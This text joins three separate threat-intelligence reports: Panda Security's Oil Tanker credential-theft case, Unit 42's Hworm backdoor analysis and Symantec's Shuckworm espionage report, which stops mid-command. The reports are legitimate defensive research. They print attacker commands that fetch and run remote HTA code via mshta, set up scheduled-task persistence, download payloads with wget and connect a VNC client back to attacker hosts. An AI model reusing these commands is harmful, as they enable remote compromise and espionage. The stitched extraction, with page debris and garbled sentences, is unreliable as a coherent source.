in Atlanta, GA. Copyright 2010, Damballa, Inc. All rights reserved worldwide. This page contains the most current trademarks for Damballa, Inc., which include Damballa and the Damballa logo. The absence of a name or logo on this page does not constitute a waiver of any and all intellectual property rights that Damballa, Inc. has established in any of its products, services, names, or logos. All other marks are the property of their respective owners in their corresponding jurisdictions, and are used here in an editorial context, without intent of infringement. pandasecurity.com Operation Oil Tanker The Phantom Menace pandasecurity.com pandalabs Operation Oil Tanker: The Phantom Menace. Everything started on a cold January day in a coastal town in the North East of England, an area with a strong presence of petrochemical companies. The day began normally in one of these companies, a firm specializing in, among other things, maritime oil transportation. Lets call this company Black Gold. John, the head of Black Golds IT Department knows that we live in a dangerous world, and that companies face thousands of cyber-attacks every day. And although Black Gold is not included in the Fortune 1000 company list, John knew that taking all possible safety precautions is a must and that, in addition to having a corporate antivirus, they must maximize all other security measures. Thats why when given the opportunity to take part in a pilot program involving a new service that monitors all applications running on endpoints, reporting the security status of the network and providing forensic information in the event of infections, he didnt think twice. After completing a series of controlled tests, John decided to deploy the small agent across the companys network October 2013. The information he received during the first three months helped to identify computers at risk where vulnerable applications were found. Apart from that, nothing worth mentioning really happened. Thanks to John, Black Gold joined a high IT security pilot program. pandasecurity.com pandalabs One day, however, while Susan, a secretary with more than 20 years of experience at Black Gold, was checking her email as she did every Monday morning, she came across an email message with an attached document. The document appeared to be a PDF file of approximately 4MB in size, with information about the oil market. Nothing suspicious. Besides, the message in question had gone through every security filter in place. Neither the mail server antivirus nor the antivirus on her workstation had found anything anomalous in it. Susan double-clicked the attachment. A blank PDF opened. This must be a mistake. I hope they realize it and send us the correct file again, Susan thought, moving on to the next unread message. Meanwhile, 1,700 km away from Susans computer, an alarm was triggered. An unknown threat had just been detected and blocked when it tried to steal credentials from Susans computer and send them out. Today, most computer threats are designed to steal information from target systems, so this just looked like thousands of cases we examine in the laboratory every day. However, it caught our attention that no antivirus engine had been able to detect it, although this shouldnt be so surprising if you take into consideration that every day over 250,000 new malware files are put in circulation. There was something really unique about this threat: it didnt use any kind of malware. Thats why we decided to call it the Phantom Menace. Susan just clicked twice, and the Phantom Menace was triggered. pandasecurity.com pandalabs Attack analysis The file that Susan received and opened looked like this. It actually was an executable file that used the icon typically used by Adobe Acrobat Reader documents to trick users. The figure below illustrates the execution flow: pic.pdf stat.vbs deca.bat dcp.exe unzip2.exe bare.zip unzip.exe bar.zip sai.vbs ici.bat cogi.reg aagi.bat iei.bat iewi.bat di.vbs keeprun.ini mdei.abc image.abc images.abc picture viewer.abc deca.bat dcp.exe secret The file is just a self-extracting file. Once run, it creates a folder and extracts six files into it. It then runs one of them stat.vbs and does not take any more actions. There is no malicious activity, so the file goes unnoticed by behavior-based detectors. The stat.vbs file simply runs another file deca.bat in the background. This file in turn opens the pic.pdf file (the blank PDF document that opened on Susans computer) and runs a file called dcp.exe, a free tool to encrypt files. This utility is used to decrypt the following two files: Next, it uses the unzip.exe program to extract the content of the bare.zip file (12 files) into a different folder. Then, it runs one of the files: sai.vbs. pandasecurity.com pandalabs None of these actions are anomalous, and actually are very different from what we normally see in other types of attacks. Here is where the second part of the attack begins: keeprun.ini sai.vbs ici.bat cogi.reg aagi.bat image.abc images.abc picture viewer.abc mdei.abc keeprun.ini iei.bat di.vbs iewi.bat image.exe images.exe picture viewer.exe mdei.exe KeepRunning ici.bat aagi.bat0x01209900 (???) 0x00000004 (4) 0x00000001 (1) 0x00020000 (131072) .abc .exe PIC_d_trename FTP iei.bat di.vbs iewi.bat attrib off The .vbs file runs a .bat file that modifies the Windows registry to ensure that a file called aagi.bat is run every time the system starts. Then, it makes a copy of the four files with the extension .abc, and changes their extension to .exe. These are all legitimate applications that anybody could use: the first three are designed to collect the credentials (user names and passwords) stored in the local mail client and Internet browser, and save them to a text file. The fourth one is an application designed to run another application every x seconds. This is very useful for computers that need to run an application at all times, like a browser or any other specific software, so that if the application closes unexpectedly for some reason it will open again. In this case the application is configured to run another .bat file every 3,600 seconds (every hour). Then, the ici.bat file uses the ATTRIB system command to hide the two folders it created, disables the Windows firewall, and renames the text files containing the credentials to PIC_d_t, where d is the current date and t the current time. This is done to indicate when the information they contain was obtained. Finally, it uses the FTP command to upload those files to an external FTP server controlled by the attackers. pandasecurity.com pandalabs Additionally, it runs the file iei.bat every hour, which basically takes the following actions: iewi.bat .abc .exe 0x01209900 (???) 0x00000004 (4) 0x00020000 (131072) image.exe images.exe picture viewer.exe PIC_d_t delete cogi.reg rename FTP It renames the .abc files back to .exe, in case they were deleted. It then deletes all the text files with credentials that were already uploaded to the FTP server, restores the Windows registry key in case it was deleted, runs the applications designed to collect credentials, renames the resulting files and uploads them to the FTP server. As you can see, no malware is ever used in the attack, the hack makes use of legitimate tools and different scripts to perform the aforementioned actions. But, is this type of attack really effective? As mentioned before, no antivirus was capable of detecting it. Furthermore, its peculiarities seem to indicate that the proactive protection layers included in most antivirus solutions would not be able to detect its apparently harmless behavior. This was confirmed when we accessed the FTP server that the stolen data was sent to, and found that the oldest files dated back to August 2013. That is, the attack had been underway for almost six months completely undetected. pandasecurity.com pandalabs A targeted attack? Once we accessed the FTP server, the first thing we did was look for credentials belonging to Black Gold, since, despite being able to neutralize the attack on Susans computer, another employee could have fallen victim to it. The result was negative, no credentials had been stolen from the company. However, we were surprised by the large number of files stored on the FTP server: over 80,000 text files with stolen credentials from other firms. This didnt look like a targeted attack, where the number of victims is usually low. However, after opening three files at random, we found that they belonged to three companies all in the same industrial sector that Black Gold belongs to. As mentioned in the previous section, the attack took place recurrently every hour. This means that stolen credentials were sent to the FTP server every hour. We discarded duplicate files and ended up with 860 unique files. That was still too many files for a targeted attack. The only thing left to do was manually process all these files and try to identify the victims. The files belonged to some ten companies, all of them in the oil and gas maritime transportation sector. It was clear that the hack was indeed a targeted attack, but we still didnt know what the attackers were really after, what their final objective was. What didnt seem a targeted attack at first, ended being a whole conspiratorial plot against the sector. pandasecurity.com pandalabs Nigeria, scams and oil The so-called Nigerian scams have been a constant presence on the Internet since its inception, and even before that, when fraudsters used postal mail to defraud victims. In the most popular one, the scammer passes themselves off as an important figure in the Nigerian government or some other institution, and contacts the victim offering them a share in a large sum of money that they want to transfer out of the country. However, the Nigerian scam industry is large and varied. Some variants are almost unknown and affect all kinds of sectors, including the oil industry. The Nigerian town of Bonny is well-known in oil production circles as the oil produced there, known as Bonny Light Crude Oil (BLCO), has a very low sulfur content, which makes it a highly desired grade for its low corrosiveness. The fact that this particular type of oil is in such high demand has given rise to a particular type of scam aimed at oil brokers, individuals who arrange transactions involving crude oil between buyers and sellers. In Nigeria, every gas and oil transaction is supervised by the NNPC (Nigerian National Petroleum Corporation), a government-owned company. Anybody who wants to trade with oil in Nigeria must be registered with the NNPC. In short, the scam works like this: the scammer contacts a broker/middleman and offers them a large amount of BLCO, one to two million barrels, at a very competitive price. If the potential buyer is interested, they will ask for documentary evidence that the product exists (Proof of Product). There are different types of documents that can be provided: a quality certificate, a certificate of origin, a cargo manifest, or the letter of ATS (Authority to Sell) issued by the NNPC. To close the deal, the buyer must pay a significant amount of money -from 50,000 to 100,000- in advance. However, once they pay the money they are met with the nasty surprise that there is no oil. The weakest link in the scam is the documentation that the scammer must provide to convince the buyer. Even though all of these documents can be forged, the fraudster runs the risk of being discovered by the broker. To make it more plausible, scammers attempt to use real documents so that if the broker wishes to check their legitimacy, they will see that they are real. However, how difficult is it to obtain these documents? It is very complicated. The only way to do it is from companies in the sector. Oil transportation companies, for example. This was just a theory, at that time we didnt have any evidence to prove that that was the objective of those responsible for the Phantom Menace attack. pandasecurity.com pandalabs Is it possible to know who is behind the attack? In most cases, getting to know who is behind a cyber-attack is very complex, sometimes impossible. In this case we were fairly pessimistic. To make it worse, the fact that no malware had been used in the attack ruled out the possibility of finding a signature to examine. However, there was a weak spot in the attack: the FTP connection used to send out the stolen credentials. The information was transmitted using the FTP command, and as that command was called by one of the scripts, it was possible to see the connection used, from where it was established and the credentials used. The FTP server belonged to a free service that the attacker had signed up to, so we were able to access it and see the information entered when opening the account. Yes, we were aware that the information would probably be false, but it was still worth checking. The name used was false googling it returned zero results. The country selected was the United States, which could be false as well. Then we had a look at the city information. The name in this field was unknown to us: Ikeja. It turns out that Ikeja is the name of a suburb in Lagos -the capital city of Nigeria-, also known as the Computer Village as it hosts the nations largest market cluster for technology products. This information could also be false, but the fact that whoever opened the account was familiar with that name meant that they were from Nigeria themselves or knew the country very well. Then came the email address. This was the only element that we knew for sure had to be real and valid, as it is the address at which users receive the service activation message, password reset messages, etc. In this case it was a Gmail address: 5gmail.com The password was unknown, they hadnt used the same one as for the FTP service. We took the 9 characters that made up the email address and started combining them to see if we could form an alias, a first name, a last name or similar. And we got it. We googled what looked like a first name and last name and got a hit. It was the name of a person with Nigerian nationality and Twitter, Facebook and LinkedIn accounts, which allowed us to obtain some more information about him. All those accounts belonged to a person living in... Ikeja and who is the owner of a goods transport company. Ikeja ???????? ? 5gmail.com Too many coincidences. So, even though all the evidence seems to indicate that this is the person responsible for the attack, there is no way for us to prove it. It would require the police to launch an investigation and obtain information about the FTP connections, etc., in order to get the IP address of the person who signed up to the service and find the culprit. pandasecurity.com pandalabs Conclusion With all the information we had in our hands, the idea of what to do next was clear: inform the police so that they could start an investigation and apprehend whomever was responsible for the hack. Since one the affected companies was from Spain, we contacted the Spanish Civil Guard, a police force that we have collaborated with in the past and which has a very good reputation in the fight against cyber-crime. Unfortunately, they face a difficult-to-solve problem: to start an investigation they need a victim who reports the crime. It looks simple, but it isnt: none of the victims of this attack is willing to report it. Why? If our theory is correct, the information stolen from these companies has not been used against them, but to defraud other people, oil buyers. It is for that reason that the companies which have had their credentials compromised prefer not to report the attack for fear of having their name in the spotlight. They prefer to keep a low profile, change their credentials and continue to operate just as if nothing had happened. Some countries have laws that force companies to report every hacking intrusion where information is stolen. However, that obligation is usually limited to incidents in which the stolen information belongs to a third party (customers, partners, etc. ). In this case, the stolen credentials belonged to the company under attack, which therefore is not forced by law to report the theft. We started this article by calling this case The Phantom Menace, due to the nature of the attack and the absence of malware to perpetrate it. Continuing with the homage to Star Wars, it is time to move on to The Force Awakens: all major companies must awake to their vulnerability and realize that absolute security doesnt exist and behavior-based protection is limited. They need to go one step further, performing regular audits in order to assess and address potential weaknesses in their network security. Despite traditional security solutions are still a necessity, they are no longer enough. It is important to understand that our defense systems must adapt to the level of attack received, and so it is necessary to implement new protection strategies that give organizations total control and visibility over their networks. The companies like Black Gold usually prefer not to demand this kind of attacks in order keep them in anonymity. pandasecurity.com pandalabs pandasecurity.com labspanda This article in whole or in part may not be duplicated, reproduced, stored in a retrieval system or retransmitted without prior written permission of Panda Security.
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Panda Security 2015. All Rights Reserved. Houdinis Magic Reappearance researchcenter.paloaltonetworks.com /2016/10/unit42-houdinis-magic-reappearance/ By Anthony Kasza and Esmid Idrizovic Unit 42 has observed a new version of Hworm (or Houdini) being used within multiple attacks. This blog outlines technical details of this new Hworm version and documents an attack campaign making use of the backdoor. Of the samples used in this attack, the first we observed were June 2016, while as-of publication we were still seeing attacks as recently as mid-October, suggesting that this is likely an active, ongoing campaign. Deconstructing the Threats: The investigation into this malware began while searching through WildFire execution reports within AutoFocus. Looking for newly submitted malicious samples with no family label, a unique mutex surfaced, RCSTEST. Pivoting around the creation of this mutex, as well as other dynamic behaviors, a group of samples slowly began to emerge. The group of samples has common delivery mechanisms, lures and decoy file themes, payloads (Hworm), as well as control infrastructure. Samples from this attack came in the form of SFX files. The original filenames of these delivery files are related to political figures and groups in the Middle East and the Mediterranean. They include: Mohamed Dahlan Abu Dhabi Meeting.exe .exe .exe .scr .exe .scr When executed each SFX file opens a decoy document, video, or URL, and eventually executes an Hworm payload in the background. The decoy files are similarly themed when compared to the above delivery file names. Figure 1 shows a screenshot from a video one sample opens as a decoy. 1/13 http://researchcenter.paloaltonetworks.com/2016/10/unit42-houdinis-magic-reappearance/ https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/wildfire https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/autofocus http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_1.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_2.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_3.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_4.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_5.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_6.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_7.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_8.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_9.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_10.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_11.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_12.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_13.png http://researchcenter.paloaltonetworks.com/wp-content/uploads/2016/10/Houdini_14.png Figure 1 Decoy video Another sample displays a YouTube video by dropping a .url shortcut and opening it using the systems default web browser. Figure 2 illustrates the .url file contents: Figure 2 .url file 2/13 When the .url file is opened, the above YouTube video is displayed as a decoy. It is unclear at this time if the uploader of this video has any relation to this particular attack Besides decoys, the samples also execute Hworm payloads, all of which are packed. Each Hworm payload created a unique mutex (while some SFX files delivered the same Hworm payload). All of the samples beaconed to one of three network locations as shown in Figure 3: 3/13 Figure 3 C2 Infrastructure While prior reports on Hworm have been published, we were unable to identify any report detailing this particular version of Hworm. Some previous versions would embed AutoIT scripts in resource sections of PE files while others would execute obfuscated VBS scripts. Some previous versions of the Hworm implant would embed data in the headers of HTTP requests or POST bodies as a method of command and control. Beacons of that HTTP protocol example are easily recognized by the use of as a delimiter and the URI of the request. This new version of Hworm uses a mixed binary and ASCII protocol over TCP. Figure 4 is a packet capture of the protocol used by Hworm samples in this attack. It includes the string new_houdini, the mutex used by the implant, the name of the user, the operating system version, the version of the implant, and the name of the foreground process: 4/13 https://www.fireeye.com/blog/threat-research/2013/09/now-you-see-me-h-worm-by-houdini.html Figure 4 Packet capture of new communications protocol During the investigation of this malware a forum post on dev-point[. ]com, an Arabic speaking technology and security forum, by a user with the handle Houdini, outlined plans for a rewrite of a backdoor in Delphi. This post occurred around July 2015. Around October 2015, a password protected beta version of the builder used to create Delphi Hworm implants (a4c71f862757e3535b305a14ff9f268e6cf196b2e54b426f25fa65bf658a9242) was uploaded to VirusTotal. Unfortunately, the builder used to create the samples outlined in the above attack was not located. Unit 42 believes the samples used in the above attack are a version which were released after the beta. Analyzing the Hworm Malcode: Upon configuring and building a server, the builder prompts the user to save a VBS file and modifies a stub file to create the implant. The VBS file is used to load and inject the implant. It appears that the operators behind the above attack either chose to not use the VBS loader or the newer versions of the builder no longer produce a VBS script.
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The VBS Loader: The script contains three files encoded in base64. The first file is DynamicWrapperX (DCOM_DATA), the second file is the RunPE shellcode (LOADER_DATA), and the third file is the file which gets injected into host process (FILE_DATA). DynamicWrapperX provides access to all Windows APIs from a Visual Basic Script providing a wide range of functionality to this VBS script. 5/13 http://www.script-coding.com/dynwrapx_eng.html The configuration of the script is at the beginning of the file (Figure 5). Figure 5 Script configuration section In the above example, the script will use the registry as a startup method, it will drop itself into the systems appdata directory using the filename myhworm.exe and it will inject itself into svchost.exe. As the script executes it first adds one of three startup methods which will execute the script on Windows startup: 1 2 3 4 5 6 7 8 9 10 Registry Run in HKCU Path: HKCU\Software\Microsoft\Windows\CurrentVersion\Run EntryData Wscript.exe //b //e:vbscript /b Specifies batch mode, which does not display alerts, scripting errors, or input prompts. /e Specifies the engine that is used to run the script. Define startup directory Startup task (not implemented yet) Following the installation of persistence, the script checks if the current environment is WOW64. If so, the script will execute: 1 windir\syswow64\wscript.exe /b /e:vbscript filepath The script then drops DynamicWrapperX in the configured installation directory with file extension .bin. 1 installdir\filename.bin It will then register DynamicWrapperX: 1 regsvr32.exe /I /S filename_dynamic_wrapperx 6/13 Next, the script will load the registered object: 1 set DCOM CreateObject(DYNAMICWRAPPERX) It registers /load VirtualAlloc and CallWindowProcW as functions which can be directly called in the script using dcom. VirtualAlloc arguments. Using VirtualAlloc it will allocate new memory and copy RunPE shellcode (LOADER_DATA, loader.hex) and the to- be-injected binary (FILE_DATA) into memory. Using CallWindowProcW the script will jump to the RunPE shellcode and the shellcode will inject the file (FILE_DATA) into the host process. The host process is by default svchost.exe but for .NET files injection can occur into the file: 1 windir\Microsoft. Net\Framework\v2.0.50727\msbuild.exe Figure 6 shows the main routine of the script: 7/13 Figure 6 Main routine Figure 7shows a hex dump of LOADER_DATA (RunPE shellcode): Figure 7 Hex dump of LOADER_DATA Similarities in comments and coding styles between previous versions of the Hworm VBS script and the VBS script provided in this beta builder can be seen in Figure 1. Top is the VBS file from the HTTP version of Hworm, compared with the VBS script produced by the beta builder of Hworm (below). 8/13 9/13 Figure 8 Similarities between HWorm versions The Beta Server: The main server which the builder produces is developed in Delphi and is not encrypted. Unit 42 has seen variants packed with VMProtect and ASPack. In some versions of the Delphi Hworm implants discovered (unpacked beta versions) the settings are stored in the resource section RCData\CONFIG and are in clear text (Figure 9). 10/13 Figure 9 Settings Some versions also have an unfinished PE spreader in the resource section (a65fd78951590833904bd27783b1032b7cc575220a12c6d6f44cb09061999af3). The spreader will terminate all running processes named sm?rtp.exe and execute a VBS file using wscript.exe: 1 wscript.exe /e:vbscript current directory\RECYCLE.BIN\u vbs name here. Figure 10 Spreader 11/13 The server exports some unused functions (they all just have RET instruction). We have seen wrom.exe and server.exe used as the name in the export table (Figure 11). Figure 11 Export table The author used the open source library Indy Components for network communication. They also used BTMemoryModule to load DLLs from memory (without saving it on the disc). The Hworm implants use a connect-back communication. This means the server (implant) connects back to the client (remotely controlling system). It also has some modules implemented in the server and each module uses its own socket for communication (on the same port defined in the configuration). The following modules provide features of this malware: Screenshot: Provides the ability to capture screenshots in JPEG/BMP formats Keylogger: Provides the ability to log key strokes Internet IO: Provides the ability to download and execute files from the internet. It also provides the ability to load the executables via the RunPE technique File Manager: Provides the ability to list files and directories, delete, rename, and execute files, and upload or download files via TCP or HTTP Password: Provides the ability to steal passwords from Firefox, Opera, and Chrome browsers Misc: Provides the ability to list processes or modules and kill running processes USB Notifier: Provides the ability to notify the controller when a USB device is attached Houdini Client: Provides the main client, which contains the servers configuration. Final Thoughts: The similarities in coding styles and features of the server, as well as languages and handles used by the author of 12/13 the malware, lead us to believe the beta builder is a version of Hworm which was created somewhere between the HTTP version and the version used in the above outlined attack. As this RAT can be found online in semi-public locations it is possible the malware is used by both surgical threat actors as well as within casual compromises. The above attack is only one such campaign Unit 42 has discovered using the Delphi versions of Hworm. Palo Alto Networks customers can use AutoFocus to find all versions of Hworm samples using the Hworm tag. Indicators: Delphi Hworm Beta Builder a4c71f862757e3535b305a14ff9f268e6cf196b2e54b426f25fa65bf658a9242 Delivery Files 70c55fef53fd4bdeb135ed68a7eead45e8d4ba7d17e0fd907e9770b2793b60ed 9af85e46344dadf1467c71d66865c7af98a23151025e7d8993bd9afc5150ad7d 773716bc2d313e17326471289a0b552f90086a2687fa958ef8cdb611cbc9a8c9 e0db0982c437c40ceb67970e0a776e9448f428e919200b5f7a0566c58680070c 1f45e5eca8f8882481b13fd4a67ffa88a1aa4d6e875a9c2e1fbf0b80e92d9588 5e42e61340942fc0c46a6668a7f54adbbb4792b01c819bcd3047e855116ae16f fec925721b6563fec32d7a4cf8df777c647f0e24454fa783569f65cdadff9e03 106934ff7f6f93a371a4561fff23d69e6783512c38126fbd427ed4a886ca6e65 ba739f3f415efe005fbed6fcfcb1e6d3b3ae64e9a8d2b0566ab913f73530887c 0672e47513aefcbc3f7a9bd50849acf507a5454bc8c36580304105479c58772a Payloads 386057a265619c43ef245857b66241a66822061ce9bd047556c4f3f1d262ef36 44b52baf2ecef2f928a13b17ba3a5552c32ca4a640e6421b8bc35ef5a113801b 8428857b0c7dfe43cf2182dd585dfdfd845697a11c31e91d909dc400222b4f78 d69e0456ddb11b979bf303b8bb9f87322bd2a9542dd9d9f716100c40bd6decd1 bd5d64234e1ac87955f1d86ee1af34bd8fd11e8edf3a449181234bb62816acab 774501f3c88ebdd409ec318d08af2350ec37fdbc11f32681f855e215e75440d7 c66b9e8aaa2ac4ce5b53b45ebb661ba7946f5b82e75865ae9e98510caff911a7 Decoy files 7916ca6ae6fdbfb45448f6dcff374d072d988d11aa15247a88167bf973ee2c0d 947d264a413f3353c43dafa0fd918bec75e8752a953b50843bc8134286d6f93f 9ddf2f2e6ac7da61c04c03f3f27af12cb85e096746f120235724a4ed93fac5aa 3d287cce7fe1caa5c033a4e6b94680c90a25cb3866837266130ba0fd8fab562c 444b82caf3c17ea74034c984aeca0f5b2e6547af88a0fb15953f2d5b80e3b448 3d3db84b6ad760540f638713e3f6a8daf8a226bd045351bcc72c6d22a7df8b3a fffda1e2d794a5645f973900083a88ef38c3d20a89c5e59ca21412806db28197 Command and Control Network Locations start.loginto[. ]me samah.sytes[. ]net 52.42.161[. ]75 78.47.96[. ]17 136.243.104[. ]200 13/13 Houdinis Magic Reappearance Deconstructing the Threats: Analyzing the Hworm Malcode: The VBS Loader: The Beta Server: Final Thoughts: Indicators: 1/8 Shuckworm Continues Cyber-Espionage Attacks Against Ukraine symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent months, Symantecs Threat Hunter Team, a part of Broadcom Software, has found evidence of attempted attacks against a number of organizations in the country. Active since at least 2013, Shuckworm specializes in cyber-espionage campaigns mainly against entities in Ukraine. The group is known to use phishing emails to distribute either freely available remote access tools, including Remote Manipulator System (RMS) and UltraVNC, or customized malware called Pterodo/Pteranodon to targets. A recent report published by The Security Service of Ukraine (SSU) noted that Shuckworms attacks have grown in sophistication in recent times, with attackers now using living-off-the-land tools to steal credentials and move laterally on victim networks. Recent activity seen by Symantec is consistent with that documented by SSU. Shuckworm activity: Case study Symantec observed Shuckworm activity on an organization in Ukraine, which began on July 14, 2021 and continued until August 18, 2021. The attack chain began with a malicious document, likely sent via a phishing email, which was opened by the user of the infected machine. The following is a breakdown of the attackers activity on the compromised computer. July 14 At 08:48 (local-time), a suspicious Word document is opened on the machine. Just five minutes after the document is opened, a suspicious command is also executed to launch a malicious VBS file (depended.lnk). This file is a known custom backdoor leveraged by Shuckworm (aka Pterodo). wscript.exe CSIDL_PROFILE\searches\depended.lnk //e:VBScript //b The backdoor is used to download and execute CSIDL_PROFILE\searches\depended.exe (94a78d5dce553832d61b59e0dda9ef2c33c10634ba4af3acb7fb7cf43be17a5b) from hxxp://92.242.62.131/wordpress.php?is[REDACTED]. Two additional VBS scripts are observed being executed via depended.exe: CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\roaming\reflect.rar //e:VBScript //b https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine https://software.broadcom.com/ https://ssu.gov.ua/uploads/files/DKIB/Technical20report20Armagedon.pdf 2/8 CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\deep- thoughted. //e:VBScript //b A scheduled task is then created to likely ensure persistence between system reboots and to execute the dropped script. This ensures the VBS file deep-thoughted.ppt is executed every 10 minutes: SCHTASKS /CREATE /sc minute /mo 10 /tn deep-thoughted /tr wscript.exe CSIDL_COMMON_PICTURES\deep-thoughted.ppt //e:VBScript //b /F Later, the attackers are observed executing an HTA file hosted on a remote server by abusing mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application (HTA) files and can be abused to bypass application control solutions. Since mshta.exe executes outside of Internet Explorers security context, it also bypasses browser security settings. CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM\mshta.exe hxxp://fiordan.ru/FILM.html /f id[REDACTED] At the same time, a new variant of Pterodo is installed via depended.exe. Similarly to before, two additional scheduled tasks are created: CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn MediaConverter /tr wscript.exe CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b /F CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn VideoHostName /tr wscript.exe CSIDL_COMMON_VIDEO\webmedia.m3u //e:VBScript //b /F The attackers continue to install variants of their backdoor and execute commands via scripts to ensure persistence: CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\22333.docx //e:VBScript //b CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\9140.d //e:VBScript //b wscript.exe CSIDL_COMMON_MUSIC\tvplaylist.mov //e:VBScript //b schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr wscript.exe C:\Users\o.korol\AppData\Roaming\battery\battery.dat //e:VBScript //b CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\roaming\battery\battery.cmd Directly after this, it appears the attackers test connectivity to a new CC server via ping.exe: CSIDL_SYSTEM\cmd.exe /c ping -n 1 arianat.ru 3/8 Once the connection is confirmed to be active, the attackers proceed to download another variant of their Pterodo backdoor and begin using the new CC to download additional scripts and tools, as well as creating scheduled tasks to run every few minutes. CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\12382. //e:VBScript //b CSIDL_SYSTEM\cmd.exe /c CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7- ZIP.html /f id?,? CSIDL_SYSTEM\mshta.exe hxxp://avirona.ru/7-ZIP.html /f id?,? CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn MediaConverter /tr wscript.exe CSIDL_COMMON_MUSIC\mediatv.mov //e:VBScript //b /F CSIDL_SYSTEM\schtasks.exe /CREATE /sc minute /mo 12 /tn VideoHostName /tr wscript.exe CSIDL_COMMON_VIDEO\videotv.m3u //e:VBScript //b /F At this point, the attackers cease activity. However, we continue to see commands being executed from the scheduled tasks for the remainder of July 14. July 16 At 05:28, the attackers return, and several additional variants of Pterodo are executed via CSIDL_COMMON_VIDEO\planeta.exe (1ea3881d5d03214d6b7e37fb7b10221ef51782080a24cc3e275f42a3c1ea99c1). CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\32440.docx //e:VBScript //b CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\20507.d //e:VBScript //b The attackers are then observed executing commands via planeta.exe: CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000. CSIDL_SYSTEM\cmd.exe /c ipconfig /flushdns The above flushdns command may indicate that the attackers have updated the DNS records for their CCs, as we observed some of their tools use hard-coded domains. In this particular instance, the flushdns command was executed shortly before the attackers attempted to install additional backdoors that leveraged the same CC. July 28 Later, another variant ofPterodo (deep-sided.fly) was executed and was used to download and execute a new file called deerskin.exe (ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29). This file is a 4/8 dropper for a VNC client. When executed, it pings google DNS (8.8.8.8) to test internet connectivity, then proceeds to drop a VNC client and establishes a connection to a remote CC server controlled by the attackers: USERPROFILE\Contacts\DriversHood.exe -autoreconnect -id:2097 -connect mucoris.ru:5612 Two such files have been identified that perform the same actions: 1ddc9b873fe4f4c8cf8978b6b1bb0e4d9dc07e60ba188ac6a5ad8f162d2a1e8f ad1f796b3590fcee4aeecb321e45481cac5bc022500da2bdc79f768d08081a29 This VNC client appears to be the ultimate payload for this attack. Between July 29 and August 18 activity continued whereby we observed the attackers deploying multiple variants of their custom VBS backdoor along with executing VBS scripts and creating scheduled tasks similar to the ones detailed above. After August 18, no further suspicious activity was observed on this machine. During the course of this investigation, specifically post VNC client installation, a number of documents were opened from various locations on the compromised machine. It is unclear if this was legitimate user activity or the activity of the attackers attempting to collect and exfiltrate sensitive information. Titles of the documents accessed ranged from job descriptions to sensitive information pertaining to the targeted organization. Technical descriptions Symantec investigations uncovered a total of seven files used by Shuckworm in recent attacks. All seven files are 7-zip SFX self-extracting binaries, a format used previously in Shuckworm attacks. descend.exe Upon execution, the file named descend.exe (0d4b8e244f19a009cee50252f81da4a2f481da9ddb9b204ef61448d56340c137) drops a VBS file which, in turn, drops a second VBS file in the following locations: USERPROFILE\Downloads\deerbrook.ppt PUBLIC\Pictures\deerbrook.ppt It then creates the following task: SCHTASKS /CREATE /sc minute /mo 11 /tn deerbrook /tr wscript.exe DROPPED_FOLDER\deerbrook.ppt //e:VBScript //b /F 5/8 The file deerbrook.ppt (b46e872375b3c910fb589ab75bf130f7e276c4bcd913705a140ac76d9d373c9e) VBS file contacts a command-and-control (CC) server at deep-pitched.enarto.ru. If the CC server is available, a HTTP POST request is sent to download a payload, which is saved in the USERPROFILE folder as deep-sunken.tmp then renamed to deep-sunken.exe and executed. The binary is then deleted. deep-sunken.exe Upon execution, the file deep-sunken.exe (02c41bddd087522ce60f9376e499dcee6259853dcb50ddad70cb3ef8dd77c200) drops the following files on the compromised computer: APPDATA\baby\baby.cmd APPDATA\baby\baby.dat APPDATA\baby\basement.exe (wget binary) APPDATA\baby\vb_baby.vbs It then creates the following task: schtasks /Create /SC MINUTE /MO 15 /F /tn BackgroundConfigSurveyor /tr wscript.exe [APPDATA]\baby\baby.dat //e:VBScript //b It then connects to a CC server (arianat.ru) to download another payload using wget: basement.exe --user-agentMozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3396.87 Safari/537.36 OPR/54.0.2952.64:: 